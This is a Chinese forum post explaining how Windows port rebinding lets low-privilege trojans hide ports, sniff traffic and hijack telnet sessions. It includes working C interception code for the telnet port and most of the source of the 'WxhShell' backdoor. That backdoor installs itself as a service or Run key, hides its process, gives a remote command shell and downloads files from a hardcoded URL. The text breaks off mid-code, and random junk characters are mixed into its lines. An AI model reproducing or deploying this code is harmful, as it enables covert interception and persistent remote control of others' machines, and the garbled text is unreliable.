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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ifmX<'(9A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); semTAoqH  
q{!ft9|K\d  
  saddr.sin_family = AF_INET; 6f+@@=Xc  
!)`m mr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WGUd@lC~  
HLqDI lL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lEw!H^O4  
SN$3cg]z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,5x9o"N!  
R,-DP/ (im  
  这意味着什么?意味着可以进行如下的攻击: <4I`|D3@  
E:P_CDSd]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "a<:fEsSE  
k7 Ne(4P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6hHMxS^o  
^vI`#}?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O1oh,~W  
t*-_MG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5K =>x<  
w4RtIDW:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r\q|DZ7  
i1Y<[s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |"}rC >+  
r4]hcoU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;NGSJfn  
66po SZR@  
  #include k?_uv  
  #include l_ LH!Tu  
  #include ZtpbKy!\$B  
  #include    "}0)~,{x B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ls&-8  
  int main() NH'QMjL)  
  { {$C"yksr  
  WORD wVersionRequested; l4^MYwFR{O  
  DWORD ret; :6Gf@Z&+  
  WSADATA wsaData; iq5-eJmq  
  BOOL val; W Qe Q`pM  
  SOCKADDR_IN saddr; [] R8VC>Ah  
  SOCKADDR_IN scaddr; GwmYhG<{  
  int err; P[H 4Yp  
  SOCKET s; 4u1au1c  
  SOCKET sc; BD M"";u  
  int caddsize; F*y7 4j,  
  HANDLE mt; I0_>ryA  
  DWORD tid;   Qn@[{%),4  
  wVersionRequested = MAKEWORD( 2, 2 ); Yr>7c1FZi  
  err = WSAStartup( wVersionRequested, &wsaData ); WH. 3  
  if ( err != 0 ) { MO|8A18B  
  printf("error!WSAStartup failed!\n"); )ZfbM|  
  return -1; l^__oam  
  } QL-E4]   
  saddr.sin_family = AF_INET; [`1@`5SL-  
   \CYKj_c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &p55Cg@e)  
B06W(y,3Q>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1:q`KkJx  
  saddr.sin_port = htons(23); nDz.61$[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) , ksr%gR+  
  { W'v o?  
  printf("error!socket failed!\n"); RVr5^l;"  
  return -1; 1\/^X>@W{  
  } ]'0}fuV  
  val = TRUE; <Q_E3lQy/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 48.4GwL7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uFfk!  
  { N \woFrG  
  printf("error!setsockopt failed!\n"); zo1 fUsK?  
  return -1; >ni0:^vp  
  } @ b} -<~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gdg "g6b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  >Xxi2Vy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R^yh,  
43!E>mq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R vd'uIJ  
  { (:RYd6i  
  ret=GetLastError(); L!Gpk)}[i  
  printf("error!bind failed!\n"); nlc$"(eA[H  
  return -1; p,3}A( >  
  } VP1 z"j:  
  listen(s,2); Dp?lgw  
  while(1) M'@  
  { 4!-/m7%eF  
  caddsize = sizeof(scaddr); -.5R.~@  
  //接受连接请求 +*wo iSD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tSVS ogGd  
  if(sc!=INVALID_SOCKET) RvyCc!d  
  { cEGR?4z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XM`&/)  
  if(mt==NULL) <lRjh7  
  { )~ ^`[`  
  printf("Thread Creat Failed!\n"); x}uDW   
  break; p uW  
  } e1ExB#  
  } $NBQv6#:  
  CloseHandle(mt); <9S5  
  } ;S'1fci6  
  closesocket(s); HcGbe37Xq  
  WSACleanup();  *1 *i5c  
  return 0; sl)]yCD|5  
  }   =Nr?F '<  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q3[nS(#Z/=  
  { <Kk?BRxi  
  SOCKET ss = (SOCKET)lpParam; Xc<Hm  
  SOCKET sc; hwSxdT6  
  unsigned char buf[4096]; OZ&SxR%q4  
  SOCKADDR_IN saddr; .lGN Fx  
  long num; lr)9U 7  
  DWORD val; cvjZ$Fcc%(  
  DWORD ret; }wC=p>zA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Tz7|OV_W$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i4)]lWnd  
  saddr.sin_family = AF_INET; pV$A?b"?*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "7w=LhzV[$  
  saddr.sin_port = htons(23); WdbHT|.Aj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %<MI]D  
  { HE+D]7^  
  printf("error!socket failed!\n"); 88l{M[B2  
  return -1; p\tA&>3-  
  } .+5;AtN  
  val = 100; & z5:v-G?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dA0o{[o=  
  { pbG v\S F  
  ret = GetLastError(); tQ)l4Y 8  
  return -1; ;7(vqm<V2~  
  } w NMA)S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vg5fMH9ZZ  
  { r>t|.=!  
  ret = GetLastError(); 07>D G#  
  return -1; m[hHaX  
  } Q}1qt4xy*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a@! O}f*  
  { |wyua@2  
  printf("error!socket connect failed!\n"); $v=(`=  
  closesocket(sc); }s.\B    
  closesocket(ss); +ux`}L(  
  return -1; 1/A|$t[  
  } [+qB^6I+P%  
  while(1) l=47#zbpZ]  
  { B+2.:Zn6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2>m"CG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G~/*!?&z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1{G@'# (  
  num = recv(ss,buf,4096,0); (Vt5@25JW  
  if(num>0) %:7/ym[  
  send(sc,buf,num,0); jV#1d8qm  
  else if(num==0) WPPD vB  
  break; G9CL}=lJ,  
  num = recv(sc,buf,4096,0); J!yK/*sO,  
  if(num>0) [o.#$(   
  send(ss,buf,num,0); X&A2:A 6\+  
  else if(num==0) F`.W 9H3  
  break; i1!Y {  
  } &0OH:P%  
  closesocket(ss); o}yA{<"  
  closesocket(sc); |oR#j `  
  return 0 ; n`p/;D=?  
  } m[Qr>="  
ix 5\Y  
[!4V_yOb  
========================================================== 4hW:c0  
tD]vx`0>  
下边附上一个代码,,WXhSHELL LftzW{>gI"  
5?TX.h9B4  
========================================================== )9+H[  
G_xql_QR  
#include "stdafx.h" H`7T;`Yb  
VgMuX3=  
#include <stdio.h> 0kaMYV?  
#include <string.h> Kp6%=JjO  
#include <windows.h> 3Q_)Xs r`  
#include <winsock2.h> 1:4u]$@E  
#include <winsvc.h> h#u k-7  
#include <urlmon.h> Cm-dos  
|2I/r$Q  
#pragma comment (lib, "Ws2_32.lib") MF +F8h>/  
#pragma comment (lib, "urlmon.lib") aQV?}  
KD'}9{F,  
#define MAX_USER   100 // 最大客户端连接数 j{H IdP  
#define BUF_SOCK   200 // sock buffer S0;s 7X#c  
#define KEY_BUFF   255 // 输入 buffer cK'}+  
;s5JYR  
#define REBOOT     0   // 重启 f_IsY+@  
#define SHUTDOWN   1   // 关机 -90X^]  
%/RT}CBBsW  
#define DEF_PORT   5000 // 监听端口 c\rP"y|S};  
Z;6?,5OSc  
#define REG_LEN     16   // 注册表键长度 `(~oZbErM  
#define SVC_LEN     80   // NT服务名长度 4cDe'9 LA  
b>nwX9Y/U  
// 从dll定义API T|uG1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ][>-r&V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L"( {6H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K pmq C$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >eX9dA3X  
cY.5z:7u~v  
// wxhshell配置信息 t5EYu*  
struct WSCFG { [\=1|t5n~  
  int ws_port;         // 监听端口 u`u{\ xN9  
  char ws_passstr[REG_LEN]; // 口令 ^h"@OEga?  
  int ws_autoins;       // 安装标记, 1=yes 0=no c`7dNx  
  char ws_regname[REG_LEN]; // 注册表键名 YH&0Vy#c$  
  char ws_svcname[REG_LEN]; // 服务名 VRUA<x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3u9}z+q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O66b^*=N}x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ex|h&Vma2V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2QKt.a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z!)@`?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^-(DokdBn  
8#RL2)7Uy`  
};  x(A6RRh  
`Cz_^>]|=  
// default Wxhshell configuration KR>o 2  
struct WSCFG wscfg={DEF_PORT, 7~VDk5Z6  
    "xuhuanlingzhe", m5cRHo<9Y  
    1, n"nfEA3{`  
    "Wxhshell", @Z Dd(xB&  
    "Wxhshell", i.e4<|{  
            "WxhShell Service", ;G*)7fi  
    "Wrsky Windows CmdShell Service", z]!w@:  
    "Please Input Your Password: ", rf]x5%ij  
  1, rg I Z  
  "http://www.wrsky.com/wxhshell.exe", |]b,% ?,U  
  "Wxhshell.exe" fRp(&%8E  
    }; >*$Xbj*  
RJdijj  
// 消息定义模块 '-P+|bZW4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dAi.^! !  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WLCr~r^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5X:3'*  
char *msg_ws_ext="\n\rExit."; W4)bEWO+q  
char *msg_ws_end="\n\rQuit."; yn.[-  
char *msg_ws_boot="\n\rReboot..."; cuL/y$+EY  
char *msg_ws_poff="\n\rShutdown..."; u"DE?  
char *msg_ws_down="\n\rSave to "; l6.&<0pLT  
?3<Y/Vg%c  
char *msg_ws_err="\n\rErr!"; Fp>nu_-"  
char *msg_ws_ok="\n\rOK!"; *C.Kdf3w  
}|l7SFst  
char ExeFile[MAX_PATH]; Fm+V_.H/;  
int nUser = 0; jwheJ G  
HANDLE handles[MAX_USER]; #j"GS/y"  
int OsIsNt; 5i%\m  
.d+zF,02Z  
SERVICE_STATUS       serviceStatus; 6+:;M b_S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 593!;2/@  
,Uy;jk  
// 函数声明 Ei89Ngp\}  
int Install(void); 3Qu-X\  
int Uninstall(void); D0h6j0r 5  
int DownloadFile(char *sURL, SOCKET wsh); C{,Vk/D-0  
int Boot(int flag); Q|G|5X  
void HideProc(void); `)TgGny01  
int GetOsVer(void); #{J+BWP\o  
int Wxhshell(SOCKET wsl); C2 yJ Xi`$  
void TalkWithClient(void *cs); lz _ r  
int CmdShell(SOCKET sock); c-4z8T#M^  
int StartFromService(void); xsU3c0wbr8  
int StartWxhshell(LPSTR lpCmdLine); Wl]XOUZ  
W?n/>DML  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M*aYcIU((  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^grDP*;W  
UkC'`NWF*  
// 数据结构和表定义 #p-\Y7f  
SERVICE_TABLE_ENTRY DispatchTable[] = *pyC<4W  
{ Y[W] YPs  
{wscfg.ws_svcname, NTServiceMain}, JX`>N(K4\  
{NULL, NULL} OXbC\^qo@  
}; *?+2%zP  
h7AO5"6  
// 自我安装 k;r[m ,$  
int Install(void) EB p g  
{ HstL'{&,-m  
  char svExeFile[MAX_PATH]; yGH')TsjD  
  HKEY key; +P.JiH`\=  
  strcpy(svExeFile,ExeFile); Is9.A_0h  
38%"#T3#  
// 如果是win9x系统,修改注册表设为自启动 CiTWjE?|7  
if(!OsIsNt) { 9fsc>9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )M@^Z(W/a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F1p|^hYDW  
  RegCloseKey(key); ^!x qOp!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n%!50E6*:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1yTw*vH F  
  RegCloseKey(key); T#HF! GH]  
  return 0; "tu*(>'~5  
    } W!1 B~NH#  
  } k7M{+X6[  
} n;y[%H!g  
else { qJR8fQ  
!04 ^E  
// 如果是NT以上系统,安装为系统服务 ?"@SxM~\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R S] N%`]  
if (schSCManager!=0) wV,=hMTd&\  
{  JY_!G  
  SC_HANDLE schService = CreateService %cASk>^i  
  ( 3M>y.MS  
  schSCManager, milQxSpj  
  wscfg.ws_svcname, |C>\k u*  
  wscfg.ws_svcdisp, -o57"r^x  
  SERVICE_ALL_ACCESS, `!ZkWF6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^UyN)eX  
  SERVICE_AUTO_START, jRxzZt4  
  SERVICE_ERROR_NORMAL, jJ?G7Q5 l  
  svExeFile, u3sr"w&  
  NULL, m`jGBSlw_  
  NULL, l I2UpfkBP  
  NULL, _,w*Rv5=  
  NULL, FPEab69  
  NULL o_r{cnu  
  ); ^$<:~qq !  
  if (schService!=0) 5xa!L@)`wF  
  { S4OOm[8  
  CloseServiceHandle(schService); J$-1odL0Z  
  CloseServiceHandle(schSCManager); Y>K8^GS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nyOvB#f  
  strcat(svExeFile,wscfg.ws_svcname); w<Iq:3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y tTppmJF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~xc0Ky?8  
  RegCloseKey(key); ~!_UDD  
  return 0; -#g0  
    } .[Ny(X/]/}  
  } >Fc=F#tA9  
  CloseServiceHandle(schSCManager); &+/$~@OK  
} Zm#,Ike?#  
} ""jl  
RI BB*  
return 1; )7Oj  
} Z*'_/Grv?  
s+v$sF  
// 自我卸载 9W j9=  
int Uninstall(void) %t$)sg]  
{ d%oHcn  
  HKEY key; (>dL  
uFaT~ 4  
if(!OsIsNt) { 2gnz=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K:Z|# i-  
  RegDeleteValue(key,wscfg.ws_regname); lNv xt6@s  
  RegCloseKey(key); B*fBb.Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'f6!a5qC  
  RegDeleteValue(key,wscfg.ws_regname); O\w-hk  
  RegCloseKey(key); bLUyZ3m!  
  return 0; <O{G&  
  } c43&[xP Lz  
} q4Y'yp`?K;  
} ~:-V<r,pe  
else { axv-U dE;  
"rw'mogRL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZOL#Q+U  
if (schSCManager!=0) `Vh&XH\S  
{ ;\iu*1>Z,&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @! jpJ}  
  if (schService!=0) Y }8HJTMB  
  { DhG{hQ[[  
  if(DeleteService(schService)!=0) { @>[3 [;  
  CloseServiceHandle(schService); UQjZhH  
  CloseServiceHandle(schSCManager); R I]x=  
  return 0; $EZr@n  
  } h5[.G!  
  CloseServiceHandle(schService); ^_o:Ddz?l"  
  } '@#l/9  
  CloseServiceHandle(schSCManager); = {~A} X01  
} dz?Ey~;M  
} Ev&aD  
x8&~  
return 1; C3; d.KlV  
} R#/0}+-M  
Qa1G0qMEIF  
// 从指定url下载文件 g]._J  
int DownloadFile(char *sURL, SOCKET wsh) 5 ~"m$/yE  
{ P2 +^7x?  
  HRESULT hr; xic&m5j m  
char seps[]= "/"; Q5;EQ .#  
char *token; gn[h:+H&  
char *file; N0fmC*1-  
char myURL[MAX_PATH]; wVUm!Y  
char myFILE[MAX_PATH]; smX&B,&@  
7] 17?s]t,  
strcpy(myURL,sURL); WQHlf 0]  
  token=strtok(myURL,seps); m_UzmWF  
  while(token!=NULL) SuA`F|7?P  
  { Gdlx0i  
    file=token; r D|Bj(X8  
  token=strtok(NULL,seps); AaJz3oncJ  
  } OWmI$_L  
$P Tl{  
GetCurrentDirectory(MAX_PATH,myFILE); =`wnng5m  
strcat(myFILE, "\\"); \Qz  
strcat(myFILE, file); 7[(<t+  
  send(wsh,myFILE,strlen(myFILE),0); G3t\2E9S  
send(wsh,"...",3,0); lUHpGr|U%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E\~!E20^  
  if(hr==S_OK) !(qaudX{>k  
return 0; 6CzN[R}  
else k7bfgb {  
return 1; <Kq!)) J'  
-)E6{  
} +Z/aG k;  
$9<P3J 1  
// 系统电源模块 y?V#LW[^E  
int Boot(int flag) ;5=5HYx%  
{ tR-rW)0K3Q  
  HANDLE hToken; WOf*1C  
  TOKEN_PRIVILEGES tkp; MT.D#jv&  
FdmoR;  
  if(OsIsNt) { )>WSuf j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %<'PSri  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \@*D;-b  
    tkp.PrivilegeCount = 1; fngk<$lvg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YXTd^M~@D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [f-<M@id/  
if(flag==REBOOT) { >^d+;~Q;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  .KE2sodq  
  return 0; c+]5[6  
} Rm=[Sj84  
else { F0+@FS0   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bOdyrynh  
  return 0; ,F0bkNBG  
} /PtmJ2 [  
  } <,(Ww   
  else { 7f q\ H{  
if(flag==REBOOT) { M1=y-3dW3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X:gE mcXc  
  return 0; AO^c=^  
} c"CF&vTp  
else { $4]"g}_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =VDtZSa!$^  
  return 0; w_^g-P[o-  
} 0D_{LBO6LU  
} ~(d#T|ez  
(ysDs[? \  
return 1; 7Dwf0Re`  
} jxA*Gg3cT5  
I=wA)Bli1p  
// win9x进程隐藏模块 /mFa*~dj2  
void HideProc(void) g+92}$_  
{ mi$*,fz  
~JxAo\2i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /? HLEX  
  if ( hKernel != NULL ) GbbD)  
  { e=EM07z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aT%6d@g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bY7~b/  
    FreeLibrary(hKernel); \J3n[6;  
  } K@+(6\6I  
9_\1cSk'  
return; >&2n\HR\  
} %^66(n)  
WG.J-2#3  
// 获取操作系统版本 RF.8zea{O`  
int GetOsVer(void) "ku ?A^f  
{ >Y[nU~w  
  OSVERSIONINFO winfo; 5nJmabw3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XKT2u!Lx  
  GetVersionEx(&winfo); L# NW<T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X |X~|&j  
  return 1; lhhp6-r  
  else $4*k=+wS  
  return 0; ' CO3b,  
} ,mW-O!$3W  
8t Ef>  
// 客户端句柄模块 NKS-G2 Y<P  
int Wxhshell(SOCKET wsl) ^J$?[@qD  
{ )nJh) {4\  
  SOCKET wsh; M4(`o^n  
  struct sockaddr_in client; ITu5Y"x  
  DWORD myID; >J No2  
7e D<(  
  while(nUser<MAX_USER) 9a0ibN6m  
{ d 1bx5U  
  int nSize=sizeof(client); 7BDoF!kCx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); */yR _f  
  if(wsh==INVALID_SOCKET) return 1; 4w-P%-4  
9Wi+7_)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jFMf=u&U  
if(handles[nUser]==0) G Za<  
  closesocket(wsh); Y>: e4Q  
else p[M*<==4  
  nUser++; F),wj8#~>-  
  } 5W=jQ3 C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &fYV FRVkq  
-{'WIGm  
  return 0; wX*F'r"z  
} F-2&P:sjQ  
' Zmslijf  
// 关闭 socket z^r  
void CloseIt(SOCKET wsh) ~}fQ.F*7R  
{ q-)Ynp4'  
closesocket(wsh); ~)&im.Q4  
nUser--; N3}jLl/  
ExitThread(0); P_f^gB7  
} |&]04  
49m}~J=*  
// 客户端请求句柄 C0@[4a$8f  
void TalkWithClient(void *cs) B&oP0 jS  
{ d;9F2,k$w  
G`" 9/FI7  
  SOCKET wsh=(SOCKET)cs; 96$qH{]Ap  
  char pwd[SVC_LEN]; #+,O  
  char cmd[KEY_BUFF]; RRH[$jk  
char chr[1]; 9!06R-h  
int i,j; ai,Nx:r   
nY[]k p@  
  while (nUser < MAX_USER) { XLNR%)l  
k^Q>  
if(wscfg.ws_passstr) { Lu@'Ee!>G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iCrLZ" $M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?H2{R:  
  //ZeroMemory(pwd,KEY_BUFF); h (1 }g/  
      i=0; pZv>{=2hOS  
  while(i<SVC_LEN) { zU1[+JJY"{  
@ s2<y@  
  // 设置超时 2PSt*(  
  fd_set FdRead; [C"[#7  
  struct timeval TimeOut;  H*]B7?S  
  FD_ZERO(&FdRead); hRvj iK\  
  FD_SET(wsh,&FdRead); 8P#jC$<  
  TimeOut.tv_sec=8; DNN60NX 5Q  
  TimeOut.tv_usec=0; ?g21U97Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y$SwQ;wl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y! lEGA7  
_;1H2o2f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C_JDQByfL  
  pwd=chr[0]; JM-rz#;1  
  if(chr[0]==0xd || chr[0]==0xa) { (?7=$z!h  
  pwd=0; gZD,#D.hR  
  break; }.j09[<  
  } RC| t-(Z  
  i++; {tlt5p!4  
    } <!r0[bKz@  
K!MIA  
  // 如果是非法用户,关闭 socket N$i|[>`j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `>mT/Rmb@  
} LYv$U;*+  
hD5G\TR.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mSu1/?PS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *&VqAc%qD  
Jm l4EW7  
while(1) { (\=iKE4#  
OYsG#  
  ZeroMemory(cmd,KEY_BUFF); M!e$h?vB  
2 Xt$KF,?  
      // 自动支持客户端 telnet标准   ;ESuj'*t  
  j=0; C=z7Gk=  
  while(j<KEY_BUFF) { U%~L){<V[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [N-t6Z*  
  cmd[j]=chr[0]; +%hA 6n  
  if(chr[0]==0xa || chr[0]==0xd) { (gn)<JJS}  
  cmd[j]=0; -%*w&',G  
  break; C/w!Y)nB=  
  } Xt!%W    
  j++; %;Dp~T`0  
    } 7Q(5Nlfcz  
/5y*ZIq]e  
  // 下载文件 ]^63n/Twj  
  if(strstr(cmd,"http://")) { 2sOV3~bB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V>`xTQG  
  if(DownloadFile(cmd,wsh)) vl'2O7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nz=X/J6  
  else z&6TdwhV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =h4* ^NJ  
  } O#e'.n!rI  
  else { BWbM$@'x  
wlM"Zt  
    switch(cmd[0]) { nM)q;9-ni  
  _FET$$>z N  
  // 帮助 ;c-J)Ky  
  case '?': { Q[+o\{ O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x-:a5Kz!  
    break; `zjEs8`'  
  } ,c%>M^d  
  // 安装 7n1@m_7O  
  case 'i': { )K4A-9pC  
    if(Install()) HW)4#nLhh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )4hb%U  
    else )@ /!B`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i5>]$j1/  
    break; yX:*TK4  
    } O+Zt*jN;  
  // 卸载 39w|2%(O.  
  case 'r': { GJLlMi  
    if(Uninstall()) _IA@X. )?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XL/?v" /  
    else `(r [BV|h}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gsqpQq7  
    break; yJ(p-3O5  
    } c teUKK.|)  
  // 显示 wxhshell 所在路径 uHv9D%R  
  case 'p': { Hvn{aLa.  
    char svExeFile[MAX_PATH]; ^b{w\HZ  
    strcpy(svExeFile,"\n\r"); Wn(pz)+Y  
      strcat(svExeFile,ExeFile); _oB!-#  
        send(wsh,svExeFile,strlen(svExeFile),0); w+P?JR!)+  
    break; u'o."J^&'  
    } Wb_'X |"u  
  // 重启 Wgt[ACioN  
  case 'b': { 36<PI'l#~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C>d_a;pX  
    if(Boot(REBOOT)) z8SrZ#mg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /mb?C/CI  
    else { A{5^A)$  
    closesocket(wsh); *20$u% z2  
    ExitThread(0); <_S>-;by  
    } ZYy,gu<  
    break; Q)\~=/L b  
    } y^o*wz:D*  
  // 关机 =AhXEu^  
